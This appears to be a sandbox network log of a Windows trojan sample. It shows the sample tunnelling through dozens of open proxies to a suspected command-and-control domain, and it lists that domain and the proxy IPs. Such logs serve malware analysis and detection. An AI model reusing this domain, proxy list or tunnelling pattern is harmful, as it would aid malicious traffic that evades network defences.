Feb 23, 2024 14:28:32.492026091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:50.145292997 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1018	192.168.2.8	49835	208.87.131.151	25369	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.467113018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.492069960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1019	192.168.2.8	53188	200.170.196.94	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.472018003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1020	192.168.2.8	51943	212.110.187.185	34405	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.484004974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.585463047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.185864925 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1021	192.168.2.8	51973	195.248.243.149	7237	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.493902922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1022	192.168.2.8	53218	43.153.36.48	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.493992090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1023	192.168.2.8	53196	103.113.71.230	1081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.499890089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1024	192.168.2.8	53184	125.228.143.207	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.511198044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1025	192.168.2.8	49861	103.113.71.230	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.511495113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.589191914 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1026	192.168.2.8	53231	43.153.36.48	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.514568090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1027	192.168.2.8	53233	43.153.36.48	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.519669056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1028	192.168.2.8	52922	104.238.111.107	7999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.537700891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.991853952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.527579069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.491842031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.379283905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.195031881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.991924047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.581765890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1029	192.168.2.8	52849	27.76.194.13	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.568008900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1030	192.168.2.8	52472	72.37.216.68	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.568198919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1031	192.168.2.8	53208	18.134.236.231	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.568397045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.745995045 CET	167	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: squid/6.0.0-20220501-re899e0c27 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1032	192.168.2.8	49960	185.104.63.55	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.568445921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.585612059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.585906029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.658406973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1033	192.168.2.8	53246	43.153.36.48	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.585058928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1034	192.168.2.8	53200	8.213.128.90	10000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.597959995 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:31.899780989 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1035	192.168.2.8	50090	159.203.137.249	30433	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.598001003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.679375887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.695099115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.695370913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1036	192.168.2.8	49961	173.212.237.43	44672	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.621355057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.679373026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.695099115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.695364952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:53.804128885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:05.804085016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:17.804065943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1037	192.168.2.8	52862	103.231.78.36	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.656832933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1038	192.168.2.8	53237	172.67.182.96	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.657387972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.745731115 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1039	192.168.2.8	49940	109.195.98.207	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.686947107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.694964886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.695291042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.757488966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:53.877293110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:55.736856937 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1040	192.168.2.8	53206	121.128.194.154	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.690557003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1041	192.168.2.8	50043	5.252.23.249	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.690663099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.694961071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.695287943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.757489920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1042	192.168.2.8	53227	45.138.87.238	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.690874100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1043	192.168.2.8	52039	177.53.221.89	44196	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.754344940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1044	192.168.2.8	53203	103.118.46.174	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.755326033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1045	192.168.2.8	53214	171.248.219.108	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.773138046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1046	192.168.2.8	53216	27.75.149.169	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.805306911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1047	192.168.2.8	53228	47.243.205.1	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.822273970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1048	192.168.2.8	52995	64.124.145.1	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.823721886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1049	192.168.2.8	53251	104.20.89.77	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.834296942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.924693108 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1050	192.168.2.8	52745	184.181.217.201	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.841197968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1051	192.168.2.8	53236	42.49.148.167	9001	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.843934059 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:30.164679050 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1052	192.168.2.8	53238	47.242.15.120	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.846024036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1053	192.168.2.8	53230	171.247.98.90	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.848874092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1054	192.168.2.8	52948	162.215.212.160	54623	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.855467081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.991799116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.992010117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.992047071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:53.991775990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1055	192.168.2.8	53269	172.67.3.108	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.860668898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.947731018 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1056	192.168.2.8	52972	47.88.3.19	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.864373922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
